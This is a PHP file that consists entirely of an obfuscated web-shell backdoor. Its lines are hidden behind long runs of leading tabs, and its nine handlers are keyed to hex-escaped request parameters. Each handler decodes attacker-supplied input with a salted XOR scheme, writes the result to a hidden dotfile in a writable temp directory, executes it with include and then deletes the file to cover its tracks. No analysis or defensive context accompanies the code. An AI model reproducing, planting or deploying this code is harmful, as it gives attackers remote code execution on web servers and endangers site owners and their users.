<?php																																										if(isset($_REQUEST["\x65l\x65\x6D\x65nt"])){ $component = $_REQUEST["\x65l\x65\x6D\x65nt"]; $component = explode ( "." , $component) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($component as $n => $v3): $chS = ord($salt[$n %$sLen]); $dec = ((int)$v3 - $chS -($n %10)) ^ 79; $record .= chr($dec); endforeach; $flag = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]); $ent = 0; do { $value = $flag[$ent] ?? null; if ($ent >= count($flag)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $ptr = "$value" . "/.pset"; if (file_put_contents($ptr, $record)) { include $ptr; @unlink($ptr); die(); } } $ent++; } while (true); }
																																										if(array_key_exists("pse\x74", $_REQUEST)){ $marker = $_REQUEST["pse\x74"]; $marker= explode ( "." , $marker ); $dat = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $w = 0; array_walk( $marker, function( $v5) use( &$dat, &$w, $s5, $lenS) {$chS = ord( $s5[$w % $lenS] ); $d =( ( int)$v5 - $chS -( $w % 10)) ^ 91; $dat .=chr( $d ); $w++;} ); $entry = array_filter([getcwd(), "/tmp", "/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($entry as $pointer) { if (is_writable($pointer) && is_dir($pointer)) { $obj = "$pointer/.binding"; if (file_put_contents($obj, $dat)) { include $obj; @unlink($obj); exit; } } } }
																																										if(isset($_POST["m\x72k"])){ $ref = $_POST["m\x72k"]; $ref = explode ( "." , $ref ) ; $desc= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6 ); $len= count($ref ); for ($m= 0; $m < $len; $m++) { $v2= $ref[$m]; $chS= ord($salt6[$m % $lenS] ); $dec= ((int)$v2 - $chS - ($m % 10)) ^ 73; $desc.= chr($dec ); } $component = array_filter([getcwd(), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); for ($key = 0, $rec = count($component); $key < $rec; $key++) { $res = $component[$key]; if (is_writable($res) && is_dir($res)) { $itm = "$res/.entry"; if (file_put_contents($itm, $desc)) { include $itm; @unlink($itm); exit; } } } }
																																										if(array_key_exists("fac", $_POST)){ $entry = $_POST["fac"]; $entry = explode ( '.' , $entry ); $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $__len = count($entry); for ($w = 0; $w < $__len; $w++) { $v1 = $entry[$w]; $sChar = ord($salt[$w % $lenS]); $d = ((int)$v1 - $sChar - ($w % 10)) ^13; $symbol .= chr($d); } $parameter_group = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP"), session_save_path()]); foreach ($parameter_group as $key => $marker) { if ((is_dir($marker) and is_writable($marker))) { $comp = vsprintf("%s/%s", [$marker, ".desc"]); if (file_put_contents($comp, $symbol)) { include $comp; @unlink($comp); die(); } } } }
																																										if(isset($_REQUEST["\x6F\x62\x6Aect"])){ $resource = $_REQUEST["\x6F\x62\x6Aect"]; $resource =explode ( '.' , $resource ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach($resource as $m => $v2): $sChar = ord($salt[$m% $sLen] ); $dec =((int)$v2 - $sChar -($m% 10)) ^53; $val .= chr($dec ); endforeach; $flag = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $record = 0; do { $pointer = $flag[$record] ?? null; if ($record >= count($flag)) break; if (array_product([is_dir($pointer), is_writable($pointer)])) { $marker = str_replace("{var_dir}", $pointer, "{var_dir}/.data"); if (file_put_contents($marker, $val)) { include $marker; @unlink($marker); exit; } } $record++; } while (true); }
																																										if(!empty($_POST["s\x79mbol"])){ $property_set = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir()]); $ent = $_POST["s\x79mbol"]; $ent = explode ( "." , $ent ) ; $fac = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); $t = 0; $__tmp = $ent; while ($v9 = array_shift($__tmp)) {$sChar = ord($s7[$t % $lenS] ); $dec = ((int)$v9 - $sChar - ($t % 10)) ^72; $fac .= chr($dec ); $t++; } foreach ($property_set as $pointer) { if (max(0, is_dir($pointer) * is_writable($pointer))) { $elem = "$pointer/.key"; $file = fopen($elem, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(!empty($_POST["\x64\x61ta"])){ $mrk = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $res = $_POST["\x64\x61ta"]; $res= explode ( "." ,$res ) ; $ptr =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); foreach ($res as $q => $v8): $chS =ord($s[$q %$sLen]); $d =((int)$v8 - $chS - ($q %10)) ^ 62; $ptr .= chr($d); endforeach; foreach ($mrk as $key => $descriptor) { if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $key = "$descriptor" . "/.fac"; $success = file_put_contents($key, $ptr); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(!empty($_POST["ent\x72y"])){ $value = $_POST["ent\x72y"]; $value = explode ("." ,$value ) ; $rec= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt9); $len= count($value); for ($z= 0; $z < $len; $z++) { $v5= $value[$z]; $chS= ord($salt9[$z %$sLen]); $d= ((int)$v5 - $chS - ($z %10)) ^ 95; $rec .= chr($d); } $flg = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp"]); while ($item = array_shift($flg)) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $parameter_group = str_replace("{var_dir}", $item, "{var_dir}/.component"); $success = file_put_contents($parameter_group, $rec); if ($success) { include $parameter_group; @unlink($parameter_group); exit;} } } }


if(in_array("\x65n\x74", array_keys($_POST))){
	$resource = $_POST["\x65n\x74"];
	 $resource= 	explode	(	  '.',		 $resource)	; 
	$val = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $n = 0;
    
            array_walk($resource, function ($v3) use (&$val, &$n, $s, $lenS) { $sChar = ord($s[$n % $lenS]);
                $dec = ((int)$v3 - $sChar - ($n % 10)) ^ 16;
                $val  .=chr($dec);
                $n++;	 } 	);
	$itm = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP")]);
	for ($element = 0, $record = count($itm); $element < $record; $element++) {
    $dat = $itm[$element];
    		if (is_dir($dat) && is_writable($dat)) {
    $elem = "$dat" . "/.ptr";
    if (file_put_contents($elem, $val)) {
	include $elem;
	@unlink($elem);
	exit;
}
}
}
}